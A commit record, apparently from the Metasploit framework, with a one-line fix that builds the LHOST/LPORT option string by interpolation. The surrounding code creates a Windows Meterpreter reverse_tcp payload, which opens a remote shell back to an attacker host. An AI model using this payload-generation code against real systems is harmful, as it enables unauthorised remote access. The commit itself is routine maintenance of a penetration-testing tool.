convert lport to a string so we don't get failures when adding String + FixNum

git-svn-id: file:///home/svn/framework3/trunk@9801 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2010-07-13 09:01:36 +00:00
parent 301d220c80
commit b60e2d1022
1 changed files with 1 additions and 1 deletions

View File

@ -43,7 +43,7 @@ use_handler = nil if (session.exploit_datastore['DisablePayloadHandler'] == true
# Create the payload instance
payload_name = 'windows/meterpreter/reverse_tcp'
payload = framework.payloads.create(payload_name)
options = 'LHOST='+lhost + ' LPORT='+lport
options = "LHOST=#{lhost} LPORT=#{lport}"
buf = payload.generate_simple('OptionStr' => options)
#